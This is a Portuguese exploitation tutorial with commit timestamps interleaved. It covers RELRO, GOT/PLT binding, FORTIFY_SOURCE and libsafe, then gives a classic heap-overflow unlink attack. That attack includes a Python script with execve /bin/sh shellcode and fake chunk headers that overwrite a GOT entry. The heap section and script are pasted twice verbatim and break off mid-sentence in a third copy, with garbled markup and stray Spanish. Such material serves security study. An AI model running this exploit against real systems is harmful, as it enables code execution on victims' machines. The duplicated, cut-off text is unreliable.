Se usar a função execve() após fork(), o espaço é sobrescrito e o ataque não é mais possível. vfork() permite executar o processo filho sem criar um duplicado até que o processo filho tente escrever, então cria o duplicado.
2021-09-26 15:10:12 +00:00
**Relocation Read-Only (RELRO)**
2021-09-26 15:10:12 +00:00
### Relro
2023-08-29 18:57:50 +00:00
**Relro (Read only Relocation)** afeta as permissões de memória de forma semelhante ao NX. A diferença é que, enquanto com o NX torna a pilha executável, o RELRO torna **certas coisas somente leitura** para que não possamos escrever nelas. A maneira mais comum que vi isso ser um obstáculo é nos impedindo de fazer uma **sobrescrita da tabela `got`**, que será abordada posteriormente. A tabela `got` contém endereços de funções libc para que o binário saiba quais são os endereços e possa chamá-los. Vamos ver como são as permissões de memória para uma entrada da tabela `got` para um binário com e sem relro.
Com relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
2023-06-06 18:56:34 +00:00
Sem relro:
2021-09-26 15:10:12 +00:00
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
2021-09-26 15:10:12 +00:00
```
Para o binário **sem relro**, podemos ver que o endereço de entrada `got` para `fgets` é `0x404018`. Ao analisar os mapeamentos de memória, vemos que ele está entre `0x404000` e `0x405000`, que tem as **permissões `rw`**, significando que podemos ler e escrever nele. Para o binário **com relro**, vemos que o endereço da tabela `got` para a execução do binário (o pie está ativado, então este endereço irá mudar) é `0x555555557fd0`. Nos mapeamentos de memória desse binário, ele está entre `0x0000555555557000` e `0x0000555555558000`, que tem a permissão de memória **`r`**, significando que só podemos ler dele.
2023-08-29 18:57:50 +00:00
Então, qual é o **bypass**? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ser somente leitura, e **encontrar uma maneira diferente de obter a execução de código**.
2021-09-26 15:10:12 +00:00
Observe que para isso acontecer, o binário precisa saber antes da execução os endereços das funções:
2021-09-26 15:10:12 +00:00
* Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, o GOT precisa ter permissões de escrita durante a execução.
* Bind now: Os endereços das funções são resolvidos no início da execução, então permissões somente leitura são dadas a seções sensíveis como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
2021-09-26 15:10:12 +00:00
2023-06-06 18:56:34 +00:00
Para verificar se um programa usa Bind now, você pode fazer:
2021-09-26 15:10:12 +00:00
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, ele salta para a PLT (Procedure Linkage Table), a partir daí ele faz um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Então ele invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT.
2023-08-29 18:57:50 +00:00
Quando uma função é chamada, ela chama a PLT, que tem o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e assim chamando a função. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, então o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva na GOT e chama.
2021-09-26 15:10:12 +00:00
Ao carregar um binário na memória, o compilador informa em qual offset os dados que devem ser carregados quando o programa é executado devem ser colocados.
Lazy binding —> O endereço da função é procurado apenas na primeira vez que a função é chamada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente.
Bind now —> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para somente leitura. **-z relro** e **-z now**
Apesar disso, em geral os programas não são complicados com essas opções, então esses ataques continuam sendo possíveis.
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para verificar se usam o BIND NOW
**Fortify Source -D\_FORTIFY\_SOURCE=1 ou =2**
Tenta identificar funções que copiam de um lugar para outro de forma insegura e substituir a função por uma função segura.
2023-06-06 18:56:34 +00:00
Por exemplo:\
char buf\[16];\
strcpy(but, source);
Identifica como inseguro e então substitui strcpy() por \_\_strcpy\_chk() usando o tamanho do buffer como tamanho máximo a ser copiado.
2023-06-06 18:56:34 +00:00
A diferença entre **=1** ou **=2** é que:
O segundo não permite que **%n** venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto de argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado **%3$d** se antes tiver sido usado **%2$d** e **%1$d**
Para mostrar a mensagem de erro, é usado o argv\[0\], então se for colocado lá o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Página 191
**Substituição do Libsafe**
Ativado com: LD\_PRELOAD=/lib/libsafe.so.2\
2023-06-06 18:56:34 +00:00
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
2022-04-28 23:27:22 +00:00
**ASCII Armored Address Space**
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para sempre ter um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e copiando o segundo byte de system()... No final, chama-se o endereço armazenado na GOT que será system()
**Falso EBP**
Para funções que usam o EBP como registro para apontar para os argumentos ao modificar o EIP e apontar para system(), também é necessário modificar o EBP para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço para &”/bin/sh”.
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de código**
Valgrind —> Busca erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Trozo livre**
prev\_size |\
size |\
\*fd | Ptr para o próximo troço\
\*bk | Ptr para o troço anterior —Cabeçalho\
\*mem | Dados
Os troços livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois troços livres juntos (eles são unidos)
Em “size” há bits para indicar: Se o troço anterior está em uso, se o troço foi alocado por meio de mmap() e se o troço pertence à arena primária.
Ao liberar um troço, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo troço maior é passado para frontlink() para ser inserido no bin apropriado.
unlink(){\
BK = P->bk; —> O BK do novo troço é o que o troço livre anterior tinha\
FD = P->fd; —> O FD do novo troço é o que o troço livre anterior tinha\
FD->bk = BK; —> O BK do troço seguinte aponta para o novo troço\
BK->fd = FD; —> O FD do troço anterior aponta para o novo troço\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada.
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante da shellcode.
Portanto, o exploit é criado:
No buffer1, inserimos a shellcode começando por um jmp para que caia nos nops ou no restante da shellcode.
Depois da shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo troço. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º troço está livre. Então chamará o **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º troço como P->fd, então é aí que será inserido o endereço a ser sobrescrito - 12 (pois em FD->bk ele somará 12 ao endereço armazenado em FD). E nesse endereço, será inserido o segundo endereço encontrado no 2º troço, que será o endereço da shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o troço anterior está livre esteja em 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º troço está 4bytes atrás (aponta para prev\_size) pois é aí que ele verifica se o 2º troço está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, no início, vamos colocar 8bytes de preenchimento**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que será sobrescrito para que a shellcode seja executada na 2ª vez que free() for chamado)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como mencionado, o payload começa com 8 bytes de preenchimento porque sim**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #O 2º troço é modificado, o got\_free aponta para onde vamos salvar o endereço addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 troços consecutivos e eles são liberados na ordem inversa à reserva.
Nesse caso:
No troço c, colocamos a shellcode
No troço a, usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado para que pense que o troço a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que seja -4.
Então, o programa pensará que “a” está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, ele pensará que o troço “a” realmente começa em b+4. Ou seja, fará um unlink() para um troço que começa em b+4, então em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada.
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a uns nops que levam ao restante da shellcode.
Portanto, o exploit é criado:
No buffer1, inserimos a shellcode começando por um jmp para que caia nos nops ou no restante da shellcode.
Depois da shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo troço. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º troço se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º troço está livre. Então chamará o **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º troço como P->fd, então é aí que será inserido o endereço a ser sobrescrito - 12 (pois em FD->bk ele somará 12 ao endereço armazenado em FD). E nesse endereço, será inserido o segundo endereço encontrado no 2º troço, que será o endereço da shellcode (P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o troço anterior está livre esteja em 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º troço está 4bytes atrás (aponta para prev\_size) pois é aí que ele verifica se o 2º troço está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, no início, vamos colocar 8bytes de preenchimento**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que será sobrescrito para que a shellcode seja executada na 2ª vez que free() for chamado)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como mencionado, o payload começa com 8 bytes de preenchimento porque sim**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #O 2º troço é modificado, o got\_free aponta para onde vamos salvar o endereço addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em sentido inverso (wargame)**
Estamos controlando 3 troços consecutivos e eles são liberados na ordem inversa à reserva.
Nesse caso:
No troço c, colocamos a shellcode
No troço a, usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado para que pense que o troço a está livre.
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
Então, o programa pensará que “a” está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, ele pensará que o troço “a” realmente começa em b+4. Ou seja, fará um unlink() para um troço que começa em b+4, então em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
Dessa forma, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, ao sair do programa, a shellcode será executada.
Além disso, a 4ª instrução de unlink() escreve algo e a shellcode precisa ser ajustada para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir